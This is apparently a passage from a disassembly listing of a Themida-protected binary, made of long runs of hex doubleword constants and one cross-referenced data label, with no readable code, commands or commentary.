		dd 3EFF7BDBh, 7E8FC829h, 608621F1h, 2A34C092h, 7CDC9EE5h
		dd 2140364Ah, 2EDC94FDh, 97BAFEBCh, 95BAB8EFh, 7EBDAE57h
		dd 0D0820C0h, 0A583EAFAh, 48D8BAA1h, 0A537B74Dh, 0E557F879h
		dd 2AF8DA35h, 5CEBE8E0h, 0E156C679h, 33992B68h,	3C3598DBh
		dd 2FDC9EE5h, 0D208563Fh, 288ECBC0h, 8B36916h, 38500067h
		dd 0F761B579h, 0A3DA8E85h, 3D59144Eh, 99D3C8E3h, 91D3C404h
		dd 0A50C61B1h, 3ED1C701h, 0AFD8F458h, 0F8B76BF1h, 9DEAF6A3h
		dd 0A5BA9DC4h, 0AE81F16h, 2DD33DC4h, 0C68E9E13h, 2EDC9EBFh
		dd 741FC47Eh, 2AF8CAA6h, 2AF8DA16h, 2EDC9ED2h, 0EC1FCCA7h
		dd 0FE0DA940h, 17F624h,	0A5BAF7A9h, 0AE81FA0h, 47C9B208h
		dd 0C68D9EFDh, 2EDC9EC8h, 771FC7C5h, 2AF8D27Bh,	2AF8DAF8h
		dd 2EDC9EA0h, 671FCF1Fh, 6A5907A7h, 9078CB54h, 0CC5D9EA1h
		dd 7629FA4Bh, 90BA4E0Dh, 0AB55ECE4h, 28CF5CDDh,	0C68E9E34h
		dd 2EDC9E2Ch, 741FC4B7h, 2AF8CA42h, 2AF8DA64h, 2EDC9EEEh
		dd 0F81FCC3Bh, 0E55F7FAEh, 446076D7h, 2EDC91C7h, 66EA9B97h
		dd 94E8FA8Fh, 7435F853h, 0E3DFBCDCh, 7F64B1C7h,	3F35C185h
		dd 40DC9E5Eh, 58606A1Bh, 41B4750Eh, 50A82Ah, 6C67EE59h
		dd 0E2D96679h, 0A7DC9E7Bh, 3D1EFB39h, 361C1D58h, 0ECB51BA6h
		dd 0EEEF9884h, 2EDE7272h, 94766DE5h, 66709AFEh,	2EDC9690h
		dd 0CE56FBBCh, 2BE6854Ch, 9355FE59h, 28CC8016h,	0AB1AFF37h
		dd 28CCBD00h, 78DCF4B1h, 2EDC9D91h, 0ED82BEBCh,	0AA81700h
		dd 0A981F2Bh, 2EDC8A93h, 0ED8AD8CBh, 2ED077B6h,	236B9EF2h
		dd 0A21EC11Dh, 5BEF42A6h, 0E457171Eh, 2EDC9AC7h, 49B7C097h
		dd 2E599157h, 7EDC9EE5h, 0CA5ADB4Ch, 0A98151Eh,	2EC877B8h
		dd 79479E5Eh, 3C3E2FDBh, 0A2E5CA82h, 0D1627F0h,	8138E5E4h
		dd 2E5737F7h, 42F2211Fh, 2AF8DA35h, 3F34CC0Eh
		db 2Fh,	9Eh, 0DCh
byte_5879F3	db 1Ch			; DATA XREF: Themida_:0054E1A8o
		dd 81724D4h, 8D24B906h,	0F96820F8h, 1CC91667h, 2EDC1876h
		dd 21859EBCh, 7426156Fh, 2EB6C677h, 2EDF76C0h, 71FC9ECBh
		dd 5255C126h, 6A5D9AD6h, 2EC19A5Dh, 799B9EBCh, 69437E9Dh
		dd 3CDDB6A1h, 2720F925h, 3EF1A346h, 6B6961E3h, 21DA8EEFh
		dd 2EDC95FFh, 2B5C91BCh, 90DC9E5Eh, 11E816D2h, 2EDC9B7Eh
		dd 237186CBh, 0AB510237h, 28CF1B78h, 0A357CE81h, 28CC8FBDh
		dd 440C6101h, 2D34C82Fh, 0EDC9E97h, 0A7825D95h,	0AFD8BA91h
		dd 36D8BAB6h, 68DC9E79h, 0FEE85DEAh, 4EFC9FB8h,	0D4903A4h
		dd 91D39887h, 0D057FF05h, 0FB91B6Ch, 0BBF598E2h, 28CCB43Ch
		dd 8351B31h, 2EB6984Eh,	2EDF767Fh, 76FC9E97h, 6A55C608h
		dd 6A5D9AC1h, 2EC99AD6h, 7E9C9E79h, 0A52CE47Fh,	3EFFF7EBh
		dd 5B511729h, 0A7DA8E85h, 3EC1874Eh, 576115E3h,	0E8DA8ED5h
		dd 3EFF7BFCh, 9B55CDBAh, 28CC8D1Bh, 2EDC9AC7h, 9F944697h
		dd 7463F837h, 6A57CE25h, 97BA9AD6h, 2E572B9Dh, 87FB8A05h
		dd 0A98176Fh, 0DE57F82Bh, 7FDCF4CFh, 2EDC9D23h,	0ED85BEE5h
		dd 0A9017ABh, 0A981F7Dh, 2EDC85B8h, 0ED8DDF5Eh,	560A7E81h
		dd 8A69BA1h, 2EDC9723h,	606B7CE5h, 1B1AFFB3h, 0BB55BC65h
		dd 28CC8B3Dh, 0D1271504h, 3EC1DB9Ah, 28519191h,	1DDC9ECBh
		dd 3ED4B758h, 0A45913F4h, 44DA8DFCh, 2D34C8BCh,	0EDC9E5Eh
		dd 0A7825D71h, 0AFD8BAE3h, 35D8BA8Fh, 68DC9EE5h, 800F5DA4h
		dd 0D3C7F591h, 0D120DFE1h, 78DCF48Eh, 2EDC9DC7h, 0ED82BE97h
		dd 0AA81795h, 0A981FE1h, 2EDC8BF6h, 0ED8AD879h,	0D163826Bh
		dd 0AFBF07ABh, 2A50E7C1h, 0E759179Dh, 44DA8EFAh, 2D34CBE5h
		dd 0EDC9EF2h, 0A7815D24h, 0AFD8BAD0h, 39D8BA1Ah, 6BDC9E2Fh
		dd 5E435DC2h, 93F5794Fh, 28CCAC6Ch, 0D391B34h, 448F9869h
		dd 2D34CDBCh, 0EDC9E5Eh, 0A7875D74h, 0AFD8BACBh, 35D8BA8Fh
		dd 6DDC9EE5h, 957C5DA1h, 806E1DEBh, 26354885h, 9ADC9E5Eh
		dd 0AD949575h, 469A05B7h, 87C67316h, 1A5DD857h,	2CF5F0D6h
		dd 7FDCF408h, 2EDC9D54h, 0ED85BE5Eh, 0A901776h,	0A981F93h
		dd 2EDC85CFh, 0ED8DDFE5h, 6597FA4Bh, 0A6ED5399h, 33992B43h
		dd 2EB6984Eh, 2EDF767Dh, 74FC9E97h, 7A55C408h, 6A5D9AC1h
		dd 2EC49AD6h, 7C9E9E79h, 787D687Fh, 23350FE6h, 95DC9E2Fh
		dd 2D88F94Dh, 8B92ADD4h, 6D28C7A5h, 0A3147B72h,	3D5914FCh
		dd 7EDCF4BAh, 2EDC9DB6h, 0ED84BE2Fh, 0A9817CFh,	0A981FCFh
		dd 2EDC85E1h, 0ED8CDEF2h, 61B86379h, 0CEB1B264h, 0D18B47DEh
		dd 0CD191EFFh, 1791B1Eh, 2EB698DBh, 2EDF76B2h, 71FC9EF2h
		dd 5255C1BAh, 6A5D9A98h, 2EC69A7Ah, 799B9E2Fh, 9B263B54h
		dd 0A753F2A1h, 2EDC8E0Dh, 0ABD5AEF2h, 96D9420Dh, 3AF02FEAh
		dd 0BEF95E81h, 0F691549h, 70DA8E90h, 0D391B0Dh,	449B98F5h
		dd 2D34CDF2h, 0EDC9E79h, 0A7875DE7h, 0AFD8BA02h, 32D8BA6Bh
		dd 6DDC9E97h, 49E05D98h, 3A14373h, 46F6FC5Ch, 1641AE8Ah
		dd 2EDC9455h, 63DBDD5Eh, 0F9C522E2h, 0AF710777h, 826ABACFh
		dd 48BCE1A4h, 0A7C51E4Ch, 3EFC67F4h, 9B23FFBAh,	28CC831Bh
		dd 0A18754AEh, 0AB51E9F3h, 28CF1B41h, 0C68B9E8Fh, 2EDC9EF1h
		dd 711FC159h, 2AF8E235h, 2AF8DADFh, 2EDC9E37h, 331FC9D0h
		dd 0D66B2208h, 1C624E1Ah, 0A7907239h, 3EDC37FCh, 5F4915BAh
		dd 0E8DA8E4Ah, 3EFF7BAAh, 2EB6D991h, 2EDF769Eh,	73FC9EE5h
		dd 4255C331h, 6A5D9A5Dh, 2EC59A98h, 7B999E5Eh, 0D1776BECh
		dd 0C61E2D52h, 2EDC9ECFh, 0AF008E9Fh, 0A69C2194h, 0A981529h
		dd 245C91B8h, 0C7DC9E5Eh, 2EDC9E2Ah, 17E0989Bh,	0A5DC15AFh
		dd 0A98171Bh, 488ECEF6h, 1FD349F2h, 0D36DCCECh,	7166AF51h
		dd 74D61032h, 7684C4CFh, 0C68D9EA1h, 2EDC9EE6h,	771FC7D2h
		dd 2AF8D2F0h, 2AF8DA3Dh, 2EDC9E42h, 121FCF6Eh, 25862A14h
		dd 0B5FC1D83h, 2EDA7685h, 0FDBE9EF2h, 9D262D04h, 2EDC1EB3h
		dd 48859E5Eh, 21BD6CA4h, 9B235520h, 28CC838Eh, 0C68C9E8Fh
		dd 2EDC9EF1h, 761FC659h, 2AF8DA35h, 2AF8DADFh, 2EDC9E32h
		dd 0FA1FCED7h, 0E8D3A40Eh, 93BC1A3Eh, 2E5B9199h, 0A3DC9E79h
		dd 3D591439h, 7FDCF458h, 2EDC9DC7h, 0ED85BE97h,	0A901792h
		dd 0A981FE1h, 2EDC85F6h, 0ED8DDF79h, 0D4948287h, 8D5EBB24h
		dd 8F69157Fh, 71DA8E99h, 2EB64E34h, 2EDF76B3h, 70FC9EF2h
		dd 5A55C0BAh, 6A5D9A98h, 2EC09A7Ah, 789A9E2Fh, 718D5054h
		dd 721571E2h, 488C677Bh, 70ACC24Dh, 3F292BF2h, 0AB5598ACh
		dd 28CC9C1Bh, 24DD0BA4h, 0AB1A9887h, 28CCBD2Eh,	7DDCF4A2h
		dd 2EDC9D1Ah, 0ED87BE79h, 0A8017E7h, 0A981F5Ah,	2EDC822Bh
		dd 0ED8FDD97h, 88336F1h, 0DBB47F4Ch, 0C769974Ah, 46DA8E54h
		dd 0CC6A54CCh, 3F8AADFh, 2194E5D9h, 2EDC9F17h, 0AB5566CBh
		dd 28CCAC44h, 33992B0Dh, 2EB69869h, 2EDF76EDh, 77FC9E5Eh
		dd 6255C7ECh, 6A5D9AB3h, 2EC19AEFh, 7F9D9EE5h, 0B19DBA31h
		dd 69352387h, 0A3DE2454h, 3D5914DBh, 2C5E9129h,	0A5DC9E97h
		dd 440C6135h, 2D34CFE5h, 0EDC9EF2h, 0A7855D20h,	0AFD8BAF0h
		dd 3AD8BA1Ah, 6FDC9E2Fh, 48225DC6h, 821D4C4Ah, 207D23EEh
		dd 0AB5598E2h, 28CC9A80h, 2EDC9155h, 851505Eh, 0D5719800h
		dd 4FA7F261h, 0C2E2EC73h, 2EB64E1Ah, 2EDF76A3h,	77FC9E79h
		dd 6255C77Fh, 6A5D9A7Ah, 2EC79A0Bh, 7F9D9E97h, 0AD968908h
		dd 0D9E38DCFh, 5F321F18h, 0A5C3D837h, 3EF38309h, 0B591758h
		dd 0AFDA8E21h, 0CA7EAF78h, 0F650F8EDh, 0D136Eh,	0ABD398E2h
		dd 2EDC9E60h, 2EDC8A55h, 4B77B55Eh, 0A003BC1Dh,	82773A27h
		dd 6244498Ah, 0DB765244h, 44D8BAF0h, 2D34CF79h,	0EDC9EBCh
		dd 0A7855D07h, 0AFD8BA63h, 39D8BAD3h, 6FDC9ECBh, 0F2B75DB4h
		dd 93550B20h, 28CC8BF8h, 2EDC8D55h, 718AF05Eh, 0F60D11EBh
		dd 0B6A8519h, 4A85CEBDh, 23180B0Eh, 0AAD35EF8h,	2EDC9C93h
		dd 0C68F9ED6h, 2EDC9E5Dh, 751FC50Fh, 2AF8C21Eh,	2AF8DA4Ah
		dd 2EDC9EFCh, 0AD1FCDB1h, 0E25FCA9Eh, 0AB1A66D0h, 28CCBDBBh
		dd 7CDCF460h, 2EDC9D7Fh, 0ED86BECBh, 0A8817BFh,	0A981FF6h
		dd 2EDC8B7Dh, 0ED8EDCBCh, 0DAB457B1h, 9779D2ABh, 613E4355h
		dd 1EF8AA4Ah, 0C7C6520Dh, 2EDC9EF8h, 509AFA9h, 8A4689F5h
		dd 9B23684Bh, 28CC836Ah, 0D323F829h, 0A45913CCh, 44DA8D60h
		dd 2D34CCF2h, 0EDC9E79h, 0A7865DE6h, 0AFD8BA0Ah, 32D8BA6Bh
		dd 6CDC9E97h, 0ADF45D99h, 75B409A5h, 0A71B29D3h, 3ECFA7C4h
		dd 440C61BAh, 2D34C85Eh, 0EDC9E2Fh, 0A7825DC9h,	0AFD8BABFh
		dd 39D8BAA1h, 68DC9EF2h, 5AB05D2Fh, 0AFBA5019h,	0AD19C7B4h
		dd 2EB6BAEFh, 2EDF76C1h, 70FC9ECBh, 5A55C026h, 6A5D9AD6h
		dd 2EC89A5Dh, 789A9EBCh, 0BB57719Dh, 28CCB0AEh,	0FB591762h
		dd 48DA8ECEh, 0DA8B6F64h, 32A1037Bh, 0AB579869h, 28CC9099h
		dd 0EE62438h, 2A2503A4h, 449F9887h, 2D34C9CBh, 0EDC9EE5h
		dd 0A7835DADh, 0AFD8BA05h, 39D8BAF8h, 69DC9E5Eh, 6CFB5D78h
		dd 9BD76021h, 28CC8146h, 9CBC856Eh, 2ED17698h, 4FA59E79h
		dd 5F3655F2h, 0F44509E9h, 0A509C1C2h, 0A5BDC660h, 7DDCF4D0h
		dd 2EDC9D0Dh, 0ED87BEF2h, 0A801722h, 0A981FB8h,	2EDC845Ah
		dd 0ED8FDD2Fh, 0A1A96EA3h, 0A7CF6533h, 3ED91B58h, 62151FF4h
		dd 0A5FC1931h, 7CDCF4A7h, 2EDC9DB6h, 0ED86BE2Fh, 0A8817CDh
		dd 0A981FCFh, 2EDC87E1h, 0ED8EDCF2h, 91696FAFh,	2434F44Bh
		dd 7DC9E5Eh, 0B2DFFD2Ah
		dd 39E53F34h, 71321481h, 935746D6h, 28CC93D3h, 3F2103F0h
		dd 2EB698ACh, 2EDF760Bh, 73FC9E2Fh, 4255C354h, 6A5D9AEFh
		dd 2EC19AC1h, 7B999EF2h, 0B2C56DBAh, 5E61516Dh,	0AF3B8D0Ch
		dd 0B632BE6h, 0E8332FB1h, 3EFF7B4Eh, 0A357D9E3h, 28CCBDA3h
		dd 7F084011h, 2ED7771Bh, 9F4C9E5Eh, 47969BE9h, 0F7F8293h
		dd 0AE81FA4h, 3E539792h, 2EDC8E1Bh, 6005C679h, 0E7C1BACFh
		dd 35D152ECh, 996B0F20h, 6B69611Ah, 44DA8ED6h, 2D34CBE5h
		dd 0EDC9EF2h, 0A7815D24h, 0AFD8BAD0h, 3AD8BA1Ah, 6BDC9E2Fh
		dd 0A37F5DC2h, 3D59144Eh, 0FE236BE3h, 367D237Bh, 0AB559869h
		dd 28CC9E15h, 0C68A9E34h, 2EDC9E2Ch, 701FC0B7h,	2AF8EA42h
		dd 2AF8DA64h, 2EDC9EE6h, 0FC1FC83Fh, 44DC15FCh,	2D34CC5Eh
		dd 0EDC9E2Fh, 0A7865DCDh, 0AFD8BA9Fh, 39D8BAA1h, 6CDC9EF2h
		dd 0DC2E5D2Bh, 2E57CC93h, 0E46391A2h, 3AE51BA6h, 2EB69887h
		dd 2EDF769Ah, 77FC9EE5h, 6255C731h, 6A5D9A5Dh, 2EC89A98h
		dd 7F9D9E5Eh, 253551ECh, 41DC9E97h, 0CA2BF7E4h,	8E02F24Eh
		dd 6235F48Ch, 94DC9E78h, 7B328BEDh, 0D99149DFh,	0AB51AD8Ch
		dd 28CF5C10h, 0BE0A21C4h, 2734CCB5h, 0FBDC9EF2h, 0F6018D49h
		dd 3282D0F6h, 2EDC9BB6h, 0DDF7792Fh, 708552D6h,	0DC63AFC4h
		dd 74898863h, 0D657CEAAh, 7DDCF4E9h, 2EDC9D54h,	0ED87BE5Eh
		dd 0A801774h, 0A981F93h, 2EDC89CFh, 0ED8FDDE5h,	0A46B10AEh
		dd 3E092BF2h, 0BB2398ACh, 28CC8B83h, 0C68C9E45h, 2EDC9E94h
		dd 761FC6EBh, 2AF8DA6Ch, 2AF8DA73h, 2EDC9E65h, 8A1FCEFCh
		dd 9AF35AA1h, 0F0C5CB79h, 0EC51031Ah, 0EC5D98D8h, 3DA56F3Ch
		dd 2ED97761h, 6CA19E79h, 7EC29C98h, 2EDC91B6h, 0CC46132Fh
		dd 8D6BF3BAh, 90BB0A99h, 0BCDBDC3Bh, 2EDC941Bh,	9EC18B79h
		dd 1FE363A1h, 711A41B4h, 182E1FBCh, 0BEBEC325h,	2EDF1AC4h
		dd 0A5BA9EE5h, 48BCCE24h, 948F41F2h, 145783C3h,	444CFF00h
		dd 2D34CD2Fh, 0EDC9E97h, 0A7875D90h, 0AFD8BAB9h, 34D8BAB6h
		dd 6DDC9E79h, 0FFB65DEFh, 2A8F8473h, 57591741h,	0D1DA8E90h
		dd 3ED11B5Eh, 7B6117E3h, 0A7DA8EE6h, 3ED94BFCh,	79DCF4BAh
		dd 2EDC9DB6h, 0ED83BE2Fh, 0AA017C8h, 0A981FCFh,	2EDC82E1h
		dd 0ED8BD9F2h, 515EB7C1h, 71F2DFF9h, 7F519772h,	0E8DA8E25h
		dd 3EFF7B12h, 2EB6CDCDh, 2EDF76B5h, 76FC9EF2h, 6A55C6BAh
		dd 6A5D9A98h, 2EC09A7Ah, 7E9C9E2Fh, 0C3E0A454h,	0AAF17D6Ah
		dd 46246D27h, 0D553E08Fh, 1A5D2ECCh, 26269C98h,	7DDCF40Fh
		dd 2EDC9DC7h, 0ED87BE97h, 0A801790h, 0A981FE1h,	2EDC8AF6h
		dd 0ED8FDD79h, 6B696161h, 0AFDA8E43h, 0D09898C0h, 0A459139Ah
		dd 44DA8D4Eh, 2D34C8E5h, 0EDC9EF2h, 0A7825D27h,	0AFD8BAC8h
		dd 3BD8BA1Ah, 68DC9E2Fh, 6B255DC1h, 2ED017C4h, 0A2D39EE5h
		dd 2EDC9EF4h, 2EDC1B76h, 0FE239EBCh, 0C68F9E34h, 2EDC9E2Ch
		dd 751FC5B7h, 2AF8C242h, 2AF8DA64h, 2EDC9EEEh, 521FCD3Ah
		dd 0BF3ABEE4h, 16297696h, 2EDA1120h, 0BB579E97h, 28CC89CEh
		dd 2A491B6Ch, 2EB698E2h, 2EDF762Fh, 70FC9EBCh, 5A55C09Dh
		dd 6A5D9A0Bh, 2EC89AB3h, 789A9ECBh, 0A78BC926h,	3EEC3347h
		dd 0AB1AC07Fh, 28CCBD59h, 0D457F819h, 77A1247h,	0A5BAFEF5h
		dd 2EDA7608h, 4F399EE5h, 0ADDC1970h, 4F82FF19h,	2AF89A3Dh
		dd 44E3D631h, 2D34CC2Fh, 0EDC9E97h, 0A7865D91h,	0AFD8BAB1h
		dd 36D8BAB6h, 6CDC9E79h, 47875DEEh, 971D6DF5h, 26A2279Bh
		dd 33992B68h, 0BBF798DBh, 28CCB964h, 0AB561B7Fh, 91D3986Ah
		dd 440C6177h, 2D34CE5Eh, 0EDC9E2Fh, 0A7845DCFh,	0AFD8BA8Fh
		dd 36D8BAA1h, 6EDC9EF2h, 0ACA25D29h, 7F5DCB72h,	0ADB02038h
		dd 382D1F71h, 0A7BA7389h, 3ECEBB4Eh, 2ECE77E3h,	0C9239EF2h
		dd 5AEC3E29h, 49F3C65h,	0EC054A0Dh, 707CE099h, 0D391B51h
		dd 448F98DBh, 2D34CCE5h, 0EDC9EF2h, 0A7865D23h,	0AFD8BAE8h
		dd 35D8BA1Ah, 6CDC9E2Fh, 2CD85DC5h, 5E1762F5h, 9BBCB6F5h
		dd 2A34FF42h, 0BEDC9E79h, 7E45A7E3h, 48ED910Ch,	768656A4h
		dd 0A5D3FEC7h, 2EDC9EC9h, 3A34C4B7h, 0DCDC9EF2h, 75A6E673h
		dd 35BB3997h, 8563A767h, 0B4736DD6h, 0A52BCC1Bh, 0A5BDC635h
		dd 0A5D8BAA1h, 4EDC1508h, 0C6BC67F2h, 2EDC9EAEh, 9A765B9Ah
		dd 23BD08CCh, 0B71DC949h, 34E26617h, 7F83D7A3h,	0A7BDFFABh
		dd 97D8BA3Dh, 7BE94546h, 7BDCF406h, 2EDC9DC7h, 0ED81BE97h
		dd 0AB01796h, 0A981FE1h, 2EDC8BF6h, 0ED89DB79h,	7A6327E3h
		dd 0D1C4B85Eh, 3EC1DB9Ah, 0FF639191h, 0AB561B46h, 2EB698F6h
		dd 2EDF76A1h, 75FC9E79h, 7255C57Fh, 6A5D9A7Ah, 2EC59A0Bh
		dd 7D9F9E97h, 0AC4AF08h, 0D16AECC5h, 79DCF422h,	2EDC9D91h
		dd 0ED83BEBCh, 0AA01701h, 0A981F2Bh, 2EDC8293h,	0ED8BD9CBh
		dd 465663D3h, 0A0394226h, 975917E7h, 0A7DA8E91h, 3EF29FEBh
		dd 3B559129h, 0C7DC9E97h, 2EDC9EDBh, 68430767h,	5DD898D6h
		dd 24FD1A03h, 25210FC9h, 0D391B98h, 448B983Fh, 2D34C997h
		dd 0EDC9ECBh, 0A7835DBAh, 0AFD8BA8Eh, 38D8BA3Dh, 69DC9EBCh
		dd 0C0CC5D09h, 8B699729h, 0A7DA8E98h, 3EC0FF56h, 1885F6E3h
		dd 2A5D1932h, 6AC7335Dh, 9B2367B4h, 28CC831Bh, 0C68A9E45h
		dd 2EDC9E94h, 701FC0EBh, 2AF8EA6Ch, 2AF8DA73h, 2EDC9E63h
		dd 0AB1FC8FAh, 88C18595h, 29340582h, 32DC9E97h,	0DAC76ADAh
		dd 0BB572E30h, 28CC85BBh, 0F857F827h, 0AB561B31h, 2EB6984Dh
		dd 2EDF767Eh, 77FC9E97h, 6255C708h, 6A5D9AC1h, 2EC49AD6h
		dd 7F9D9E79h, 0D06CF67Fh, 0FE23B196h, 9B41B74Fh, 0A7DA8EBEh
		dd 3EF6BF4Eh, 0AB55FFE3h, 28CC98E7h, 0C68F9E13h, 2EDC9EBFh
		dd 751FC57Eh, 2AF8C2A6h, 2AF8DA16h, 2EDC9ED6h, 0F41FCDA6h
		dd 2484682Dh, 2FCD4D2Fh, 0D46391E5h, 62A1F38h, 0CB595818h
		dd 6DDA8EB4h, 0C68F9EA1h, 2EDC9EE6h, 751FC5D2h,	2AF8C2F0h
		dd 2AF8DA3Dh, 2EDC9E4Ah, 411FCD6Ch, 6D9B0BFFh, 2ED37694h
		dd 88029EE5h, 279EDE9Ah, 65B6149Eh, 864CD99Dh, 2ECE76ABh
		dd 0D9029E2Fh, 4DF837D4h, 33667BDBh, 0DB9F7DEAh, 620D0553h
		dd 718369F2h, 0BDF89A3Dh, 4481D376h, 2D34CE2Fh,	0EDC9E97h
		dd 0A7845D93h, 0AFD8BAA1h, 3BD8BAB6h, 6EDC9E79h, 94EA5DECh
		dd 2EDC8AB7h, 0F49C0E2Fh, 0CD872C69h, 8757D464h, 87941F79h
		dd 68B04D71h, 0F6321EC2h, 33992B43h, 2EB6984Eh,	2EDF7678h
		dd 71FC9E97h, 5255C108h, 6A5D9AC1h, 2EC09AD6h, 799B9E79h
		dd 0B067C27Fh, 0ACC26B40h, 0C6290401h, 2EDC9E92h, 952D2C4h
		dd 0CF5DF806h, 0A3822C19h, 3D5914FCh, 7DDCF4BAh, 2EDC9DB6h
		dd 0ED87BE2Fh, 0A8017CCh, 0A981FCFh, 2EDC84E1h,	0ED8FDDF2h
		dd 0F9BCC033h, 0A5D3FD0Dh, 3EFF97CBh, 440C6129h, 2D34CC97h
		dd 0EDC9ECBh, 0A7865DBFh, 0AFD8BAA6h, 3BD8BA3Dh, 6CDC9EBCh
		dd 21195D0Ch, 0A7171549h, 3EF25712h, 2ECF77CDh,	84B19EE5h
		dd 0D26C285Eh, 86B15A8Ch, 0DA2EB774h, 21989F7Ch, 341170Fh
		dd 0A3DA8EBAh, 3D1EE34Eh, 7DDCF4E3h, 2EDC9D1Ah,	0ED87BE79h
		dd 0A8017E7h, 0A981F5Ah, 2EDC8B2Bh, 0ED8FDD97h,	9B573637h
		dd 28CCB0E4h, 7E121562h, 0A54C4FF2h, 3ECE8729h,	0F3496158h
		dd 0C7DA8E3Ah, 2EDC9E99h, 0AE7A1813h, 6167451Eh, 21A03DBBh
		dd 0F6572C91h, 0C68C9ED6h, 2EDC9E5Dh, 761FC60Fh, 2AF8DA1Eh
		dd 2AF8DA4Ah, 2EDC9EFFh, 31FCEB2h, 95D49A1Ch, 0AB51A2C6h
		dd 28CF5C2Fh, 2019132Ch
		dd 7E4C9887h, 7EED9199h, 2E5C91B7h, 21DC9EF2h, 74161548h
		dd 7E84C4E4h, 264F83Eh,	4863F838h, 7C4CFFFDh, 2EC8769Dh
		dd 0C2019EE5h, 73B988h,	0A90F32E4h, 5CF079B7h, 61718CB4h
		dd 7185E2A4h, 255391C8h, 21DC9ECBh, 2EDC9B63h, 0E15DF8F2h
		dd 9B4F237Fh, 0D657CEDBh, 0A7D3CDCDh, 2EDC9E29h, 335239Ch
		dd 0D18298DBh, 3ED11B70h, 79DCF4F4h, 2EDC9D91h,	0ED83BEBCh
		dd 0AA01701h, 0A981F2Bh, 2EDC8293h, 0ED8BD9CBh,	99C61738h
		dd 444E5E04h, 2EDB769Ah, 0B0219EBCh, 0E4122F76h, 7410149Dh
		dd 23151B1Eh, 2EB698DBh, 2EDF76B5h, 76FC9EF2h, 6A55C6BAh
		dd 6A5D9A98h, 2EC89A7Ah, 7E9C9E2Fh, 0A5BAF754h,	7B595903h
		dd 21DA8EE5h, 25DC9EF2h, 3EC57FCCh, 0E74961BAh,	0C6DA8E53h
		dd 2EDC9E2Ah, 56B957C1h, 2ECD7614h, 0E0139EE5h,	0CA6F79CAh
		dd 3BD4101Eh, 886CBE0Eh, 74F30044h, 0F3591770h,	7DA8EBDh
		dd 3ECAAF5Eh, 135117E3h, 0A5DA8EE9h, 3EFDFBFCh,	0CC4113BAh
		dd 0A7DA8D88h, 93519F6Ch, 28CCB87Eh, 0F8602B46h, 1D6598F6h
		dd 0DDDC9EF2h, 96EF75DDh, 2EDC9EBCh, 2DA85E55h,	0A5DC86EDh
		dd 7DD0BAD3h, 2EDC9E23h, 0ED5DC5E5h, 2EDC9EE5h,	3EF8C2F0h
		dd 3AF8DA35h, 8EEB2605h, 0CE239E8Eh, 2AF8DA1Ch,	0EB627E34h
		dd 0C7D8F327h, 2EDC9EF7h, 0C66D446Ch, 0A7D3FFC8h, 2EDC9E7Dh
		dd 2EDC91C7h, 0CB1B9097h, 792611CCh, 0A484E8D8h, 48D26597h
		dd 2EDC9790h, 7ADC3CBCh, 0CFCE48E4h, 0A38355ACh, 3D1EEF2Ah
		dd 6A5113CDh, 96DA8D32h, 0B6FA35C7h, 3E111B4Ah,	0E1F798ACh
		dd 0EA2EB6FEh, 5E2EDF76h, 0EC70FC9Eh, 0B35A55C0h, 0EF6A5D9Ah
		dd 0E52EC89Ah, 83789A9Eh, 0A4F305E9h, 6AD98Bh, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 190424h, 52420000h
		dd 0C7587C3h, 0E99A0D65h, 14h, 570A3BA7h, 88099D4Dh, 0FB2C9ED9h
		dd 6888E2D7h, 890FA3E2h, 52E9h,	55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1804h,	0C3554500h, 0B341F020h
		dd 6A611Eh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h
		dd 53430000h, 206501C3h, 3A8465ADh, 0E9265FA8h,	5, 5F710269h
		dd 8BF8C389h, 0D8F0FC0h, 60000000h, 3D37FFBAh, 0BAD18161h
		dd 614BB255h, 158DBD83h, 75000610h, 95BD8309h, 61000h
		dd 53501974h, 0B9B8C08Bh, 89000004h, 10132D85h,	7C9D8D06h
		dd 0FF0612B8h, 83585BD3h, 100095BDh, 17740006h,	0B9B85350h
		dd 89000004h, 10132D85h, 1D9D8D06h, 0FF0612B5h,	60585BD3h
		dd 0F4BF66h, 6A61FCh, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1A0424h, 52420000h, 405A63C3h, 0A327CEC4h, 8E9C08Bh
		dd 0A4000000h, 84E9E8ACh, 4032304Eh, 8166C18Bh,	0EB1421CEh
		dd 4, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1704h, 0C3514100h, 7CDBDEA9h, 0BE8h,	0CFACD900h, 3D054BEEh
		dd 1AA202Ch, 1B3D8D89h,	95F0610h, 101711B5h, 81850906h
		dd 8D06100Ah, 1013B985h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1B04h, 0C3534300h, 83EB0A17h, 68050C95h
		dd 0ABBFF38Bh, 90568F3Fh, 5958BE66h, 0C5BE6650h, 6A900Eh
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h
		dd 13E8BDC3h, 7A000000h, 3A9BF491h, 20D1A785h, 0AE6B6D99h
		dd 0C5AE8610h, 8D8938FCh, 6100809h, 0FA8B665Fh,	6A006Ah
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h
		dd 0D7817DC3h, 65961E8Ch, 6A006Ah, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 170424h, 55450000h, 6F1A51C3h, 14E983h, 0C5390000h
		dd 8F9E7A0Dh, 0A54C3C8Bh, 7601A456h, 0FA17A914h, 858D860Fh
		dd 613DA96h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 18h,	2EC35747h, 357E459Ah, 0EA9B589h, 0F28B0610h, 6A05C083h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1D042444h
		dd 45000000h, 29BCC355h, 18C0BC9Eh, 1883C08Dh, 3870Fh
		dd 8B660000h, 8B6650F3h, 240489F3h, 0DE5BD29h, 6A0610h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 12C35747h
		dd 0F3B70FF2h, 0B58B006Ah, 6101575h, 1D1995FFh,	8D890610h
		dd 6101081h, 0AFD89D8Dh, 6A0613h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 150424h, 50400000h, 292C7AC3h, 10218195h
		dd 89D3FF06h, 100BADB5h, 1985FF06h, 0E9061014h,	5, 2C1C3F32h
		dd 7B3E951h, 0E80000h, 5D000000h, 0DAA0ED81h, 95890613h
		dd 6100BD5h, 55BD81h, 7D00610h,	860F0000h, 169h, 0E857006Ah
